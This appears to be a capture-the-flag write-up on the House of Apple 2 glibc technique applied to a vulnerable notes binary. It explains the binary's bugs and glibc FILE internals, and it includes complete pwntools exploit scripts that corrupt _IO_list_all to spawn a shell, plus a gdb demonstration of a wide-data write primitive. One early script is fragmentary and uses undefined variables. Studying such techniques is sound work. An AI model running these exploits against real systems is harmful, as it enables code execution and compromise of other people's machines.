_wide_data Corruption
[Abusing glibc Wide-Mode I/O and FILE Structure Corruption for RCE]
we're handed a notes application - create, delete, read, write Two bugs are there in it: a missing negative-index check in read_note (the index is only bounded above, so a negative index walks backwards into the GOT), and an unvalidated offset in write_note that gives you an arbitrary relative write.
I went through a few approaches before landing here. House of Orange felt too fragile on this libc version, and FSOP via _IO_overflow directly hits the vtable check. House of Apple 2 works around that by staying on the validated vtable but pivoting execution through _wide_vtable, which glibc doesn't validate.
We are provided with the following checksec output
for the binary notes_patched:
muffin@gentoo checksec -f notes_patched
ELF64: | Canary: true CFI: false SafeStack: false Fortify: false Fortified: 0 NX: true PIE: Full Relro: Full RPATH: None RUNPATH: . | File: notes_patched
mitigations that are present : stack canary, NX, full PIE, full RELRO. GOT is read-only after relocation, ASLR covers everything. CFI and SafeStack are both off - once you get a function pointer you can point it anywhere. FORTIFY is off too. The RUNPATH: . just means the binary loads libc from the current directory, so we need to use pwninit to patch it
The four functions imp here are :
int64_t create_note(void) {
scanf("%d", &size);
int64_t *mem = malloc((int32_t)size);
fgets((char *)*str, (int32_t)size, stdin);
}
int64_t delete_note(void) {
free((int64_t *)*(int64_t *)(v4 + (int64_t)&g5));
*(int64_t *)(v5 + (int64_t)&g5) = 0;
*(int32_t *)(v5 + (int64_t)&g6) = 0;
}
int64_t write_note(void) {
scanf("%ld", &v3);
scanf("%s", (char **)(v3 + notes[idx]));
}
int64_t read_note(void) {
scanf("%3d", &v2);
if (v2 < 11)
printf("NOTE: %s\n", (char *)(16 * (int64_t)v2 + (int64_t)&g5));
}
The House of Apple technique abuses _IO_FILE->_wide_data - hijack that pointer and you can redirect writes to arbitrary memory or, in the variant we're using, control execution through FILE structure corruption. Original writeup by roderick01 if you want the full breakdown.
SO What is a Vtable?
A basic vtable is nothing more than an ordinary struct containing function pointers, which can be shared between object instances.
I'll put together a small demo to make the mechanics concrete - easier to follow the exploit steps
glibc internals :3
glibc uses a big internal structure called
struct _IO_FILE. This is what backs FILE * objects
like stdout, stderr, file streams, etc.
For wide-character support (wprintf, fputwc, Unicode stuff), glibc adds extra indirection. _wide_data stores wide-character state and buffers. _wide_vtable is the function pointer table for wide I/O operations. These are separate pointers inside the FILE structure.
What is _wide_data?
_wide_data is a pointer inside _IO_FILE:
struct _IO_FILE {
...
struct _IO_wide_data *_wide_data;
...
};
It holds wide-character buffers, multibyte-to-wide conversion state, and pointers used during wide I/O operations.
Simplified idea:
struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
...
};
Internally, libc has three global FILE objects: stdin, stdout, stderr. Each of these is a fully-initialized _IO_FILE structure with valid locks, valid mode flags, valid wide I/O state, and most importantly our trusted vtables.
What _mode does
Inside _IO_FILE:
int _mode;
glibc checks _mode to pick the I/O path - positive goes wide, zero or negative stays in byte mode. So:
stderr_fp->_mode = 1;
That guarantees _wide_data will be accessed, _wide_vtable will be dereferenced, and normal byte vtable is bypassed.
First attempt failed bc i was setting _mode = 1 and pointing _wide_data at a fake struct caused glibc to abort before we even reached _IO_WOVERFLOW. The FILE vtable itself needs to be legitimate, otherwise the vtable check fires first. Apple 2 handles this by keeping a real vtable in place and only faking the wide vtable, which glibc never validates lol
This maps out the approach:
Since glibc 2.24, overwriting a FILE vtable directly causes an abort - there’s a range check that verifies the pointer lands inside the known vtable section. House of Apple 2 doesn’t fight that check. It uses _IO_wfile_jumps, a real vtable already in that range, so validation passes. The unprotected part is _wide_vtable - glibc never runs the range check on it. Set _mode > 0 to force the wide code path and you get an unvalidated function pointer dispatch.
The mechanism is _IO_list_all, a global linked list glibc walks on exit to flush every open FILE. Corrupt that pointer to aim at your fake FILE and glibc processes it during cleanup, calling through whatever vtable you put there.
The write bug: write_note takes a note index plus a signed offset and does scanf("%s", notes[idx] + offset) with no bounds check. Negative offset, huge offset - doesn't matter. Combined with a known heap address, that's an arbitrary write primitive covering anything in range of the heap.
Plan: leak libc base via the negative-index read, get a heap address from malloc metadata in a fresh chunk, build a fake FILE on the heap (fake _IO_FILE + fake _IO_wide_data + fake wide vtable with system at the doallocate slot), patch the internal pointers once we know where things landed, overwrite _IO_list_all to point at our fake FILE, then exit and let glibc do the rest.
When exit fires:
glibc validates the main vtable pointer against a known range. Fake vtable = abort. So we don't fake it - we use _IO_wfile_jumps, a real vtable inside libc, which passes cleanly. The unvalidated part is _wide_vtable, the second vtable for wide-character I/O. glibc never range-checks it. Once execution enters the wide path, it calls through _wide_vtable blind.
read_note only checks that the index is less than 11 - never checks for negatives. Index -16 walks backwards from the notes array into the GOT, landing on the free entry. Read that, subtract the known offset of free inside libc, and you have the base address.
We need to create a fake _IO_FILE_plus structure on
the heap with three parts:
Part A: Fake _IO_FILE structure
fake_file = flat({
0x00: b" sh\x00\x00\x00\x00",
0x88: 0,
0xa0: 0,
0xc0: 1,
0xd8: libc.sym['_IO_wfile_jumps']
}, length=224)
_flags = " sh" - glibc passes this field as the first argument when calling through the vtable. We’re replacing the target with system, so that becomes system(" sh"). Leading spaces skip the flag-parsing check. _lock must point at writable memory or glibc crashes trying to lock the FILE - zero for now, patched once we know the heap address. _wide_data will point at the fake _IO_wide_data below. _mode = 1 forces glibc into the wide-char path where _wide_vtable is dispatched without validation. vtable = _IO_wfile_jumps is a real libc vtable - passes the range check cleanly.
Part B: Fake _IO_wide_data
wide_data = flat({
0x18: 0,
0x20: 1,
0xe0: 0
}, length=0x100)
_IO_write_ptr = 1 and _IO_write_base = 0 makes glibc think there's pending data to flush, which triggers the flush path and eventually the wide vtable dispatch. _wide_vtable gets patched once we know the heap address.
Part C: Fake wide vtable
wide_vtable = flat({
0x68: libc.sym['system']
}, length=0x80)
Offset 0x68 is the doallocate slot. glibc calls it without validation. We put system there - it fires with the FILE pointer as the first argument, and since a FILE starts with _flags, that's system(fake_file->_flags) = system(" sh").
How it's in memory
Offset 0x000: fake _IO_FILE (224 bytes)
Offset 0x100: fake _IO_wide_data (256 bytes)
Offset 0x200: fake wide_vtable (128 bytes)
Pack the three structures back-to-back and write them into a single heap allocation so the internal pointers can reference each other at fixed offsets:
payload = fake_file.ljust(0x100, b'\x00')
payload += wide_data.ljust(0x200 - 0x100, b'\x00')
payload += wide_vtable
create(20000, payload)
Leaking the heap address
heap_addr = u64(read_note(0).ljust(8, b'\x00'))
Reading the note back gives us more than our payload - glibc stores chunk metadata (fd/bk pointers) adjacent to allocations. The first 8 bytes of the note, read as a 64-bit value, land on one of those heap pointers. Subtract the known offset and you have the heap base.
Patching the fake FILE pointers
With the heap address known, we can patch the fake FILE's internal pointers:
write_note(0, 0x88, p64(heap_addr + 0x10))
_lock must point at writable memory or glibc crashes trying to acquire it.
write_note(0, 0xa0, p64(heap_addr + 0x100))
Points at offset 0x100 in the payload - right where the fake _IO_wide_data sits.
write_note(0, 0x1e0, p64(heap_addr + 0x200))
This is what glibc calls through which is the unvalidated one
Hijacking _IO_list_all
Now we insert our fake FILE into the list glibc actually walks. _IO_list_all is the head of the global FILE chain - glibc follows it on exit to flush every stream. Compute the offset from our heap buffer to _IO_list_all, then use the arbitrary write to overwrite it with the address of our fake FILE. glibc doesn’t validate _IO_list_all contents - it just follows the pointer.
io_list_all = libc.sym['_IO_list_all']
offset = io_list_all - heap_addr
write_note(0, offset, p64(heap_addr))
Before
_IO_list_all → real FILE → real FILE → ...
After
_IO_list_all → fake FILE (heap) → fake wide_data → fake vtable → system()
final exploit
from pwn import *
elf = ELF('./notes_patched')
libc = ELF('./libc.so.6')
p = process('./notes_patched')
Helper functions
def create(size, content):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'SIZE: ', str(size).encode())
p.sendlineafter(b'CHARS): ', content)
def read_note(idx):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'INDEX: ', str(idx).encode())
p.recvuntil(b'NOTE: ')
return p.recvuntil(b'< BACK', drop=True)
def write_note(idx, offset, content):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'INDEX: ', str(idx).encode())
p.sendlineafter(b'INDEX: ', str(offset).encode())
p.sendlineafter(b'DATA: ', content)
Exploitation
libc_leak = u64(read_note(-16).ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['free']
fake_file = flat({
0x00: b" sh\x00\x00\x00\x00",
0x88: 0,
0xa0: 0,
0xc0: 1,
0xd8: libc.sym['_IO_wfile_jumps']
}, length=224, filler=b'\x00')
write_note(0, 0x88, p64(heap_addr + 0x10))
offset = io_list_all - heap_addr
write_note(0, offset, p64(heap_addr))
Why this works
The glibc call chain
When you exit, glibc does this:
exit() {
...
_IO_cleanup();
}
_IO_cleanup() {
return _IO_flush_all_lockp(0);
}
_IO_flush_all_lockp() {
struct _IO_FILE *fp;
for (fp = _IO_list_all; fp != NULL; fp = fp->_chain) {
if (fp->_IO_write_ptr > fp->_IO_write_base) {
if (fp->_mode <= 0) {
_IO_overflow(fp, EOF);
} else {
_IO_wfile_overflow(fp, WEOF);
}
}
}
}
_IO_wfile_overflow() {
...
_IO_vtable_check(fp->vtable);
fp->_wide_data->_wide_vtable->doallocate(fp);
}
The bypass
glibc's vtable check:
void _IO_vtable_check(struct _IO_jump_t *vtable) {
if (vtable < &__start__IO_vtables ||
vtable >= &__stop__IO_vtables) {
abort();
}
}
_IO_wfile_jumps lives inside that range, so validation passes. _wide_vtable never goes through this check. When glibc dispatches doallocate from the unvalidated wide vtable, that's our system call.
Under the hood: _IO_wstrn_overflow
static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = snf->overflow_buf + N;
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return c;
}
Controlling fp->_wide_data controls where those heap addresses get written - arbitrary write via wide I/O.
Demonstration
$ ./house_of_apple_demo
chunk @ 0x2a410310
before
[0x2a410310] 0x1122334455667788 0x1122334455667788
[0x2a410320] 0x1122334455667788 0x1122334455667788
[0x2a410330] 0x1122334455667788 0x1122334455667788
[0x2a410340] 0x1122334455667788 0x1122334455667788
puts = 0x7fd0ca691cc0
stderr->_IO_write_ptr = 0x7fd0ca82b478
stderr->_flags2 = 0x7fd0ca82b4c4
stderr->_wide_data = 0x7fd0ca82b4f0
stderr->vtable = 0x7fd0ca82b528
_IO_wstrn_jumps = 0x7fd0ca826b90
patch stderr->_IO_write_ptr = -1
patch stderr->_flags2 = 8
patch stderr->_wide_data = 0x2a410310
patch stderr->vtable = _IO_wstrn_jumps
trigger fcloseall()
after
[0x2a410310] 0x00007fd0ca82b770 0x00007fd0ca82b870
[0x2a410320] 0x00007fd0ca82b770 0x00007fd0ca82b770
[0x2a410330] 0x00007fd0ca82b770 0x00007fd0ca82b770
[0x2a410340] 0x00007fd0ca82b770 0x00007fd0ca82b870
0x2a410310]
=
0x1122334455667788
↓
write through _wide_data
M[0x2a410310]
=
0x00007fd0ca82b770
stderr->overflow_buf.
overflow_buf ends up written wherever _wide_data points - controlled write of a heap address to arbitrary memory.
Step 1: set breakpoint before fcloseall()
gdb ./house_of_apple
break fcloseall
run
Step 2: examine hijacked stderr structure
p stderr
x/gx (stderr + 0x28)
x/gx (stderr + 0x74)
x/gx (stderr + 0xa0)
x/gx (stderr + 0xd8)
_IO_write_ptr: 0xffffffffffffffff (-1)
_flags2: 0x0000000000000008 (wide mode enabled)
_wide_data: 0x0000000000405310 (our controlled chunk!)
vtable: 0x00007ffff7e26b90 (_IO_wstrn_jumps)
Step 3: examine target chunk before attack
x/16gx 0x405310
0x405310: 0x1122334455667788 0x1122334455667788
0x405320: 0x1122334455667788 0x1122334455667788
0x405330: 0x1122334455667788 0x1122334455667788
0x405340: 0x1122334455667788 0x1122334455667788
Step 4: continue and break after _IO_wstrn_overflow
break _IO_wstrn_overflow
continue
print/x $rdi
print/x $rdi + 0xf0
x/gx $rdi + 0xa0
Step 5: examine target chunk after attack
finish
x/16gx 0x405310
0x405310: 0x00007ffff7e2b770 0x00007ffff7e2b870 ← CHANGED!
0x405320: 0x00007ffff7e2b770 0x00007ffff7e2b770 ← CHANGED!
0x405330: 0x00007ffff7e2b770 0x00007ffff7e2b770 ← CHANGED!
0x405340: 0x00007ffff7e2b770 0x00007ffff7e2b870 ← CHANGED!
Full Exploit
Putting it all together:
from pwn import *
context.binary = elf = ELF('./notes_patched')
libc = ELF('./libc.so.6')
io = process(elf.path)
def sl(a, b): io.sendlineafter(a, b)
def c(sz, data=b''):
sl(b'>> ', b'1')
sl(b'SIZE: ', str(sz).encode())
sl(b'CHARS): ', data)
def r(i):
sl(b'>> ', b'3')
sl(b'INDEX: ', str(i).encode())
io.recvuntil(b'NOTE: ')
return io.recvuntil(b'< BACK', drop=True)
def w(i, off, data):
sl(b'>> ', b'4')
sl(b'INDEX: ', str(i).encode())
sl(b'INDEX: ', str(off).encode())
sl(b'DATA: ', data)
libc.address = u64(r(-16).ljust(8, b'\x00')) - libc.sym.free
log.success(f'libc = {libc.address:#x}')
c(0x500)
heap = u64(r(0).ljust(8, b'\x00')) - 0x10
log.success(f'heap = {heap:#x}')
fake = flat({
0x00: b' sh\x00\x00\x00\x00',
0x88: 0,
0xa0: 0,
0xc0: 1,
0xd8: libc.sym._IO_wfile_jumps,
}, length=0xe0, filler=b'\x00')
wide = flat({
0x18: 0,
0x20: 1,
0xe0: 0,
}, length=0x100, filler=b'\x00')
vtab = flat({
0x68: libc.sym.system,
}, length=0x80, filler=b'\x00')
payload = fake.ljust(0x100, b'\x00') + wide.ljust(0x100, b'\x00') + vtab
c(len(payload), payload)
base = heap + 0x560
w(1, 0x88, p64(base + 0x10))
w(1, 0xa0, p64(base + 0x100))
w(1, 0x1e0, p64(base + 0x200))
w(1, libc.sym._IO_list_all - base, p64(base))
sl(b'>> ', b'5')
io.interactive()
Closing thoughts
House of Apple 2 is a very interesting technique. glibc's vtable validation only covers the primary vtable - the one pointed to by fp->vtable.in my understading the trick is to set _mode = 1 to force the wide-character code path, point the main vtable at a real libc structure (_IO_wfile_jumps) to pass the check, and then slip a fake wide vtable in through the unvalidated back door. When glibc calls doallocate, it ends up calling system with _flags as the argument - and _flags = " sh"
No heap feng shui needed , we all hate heap spraying !!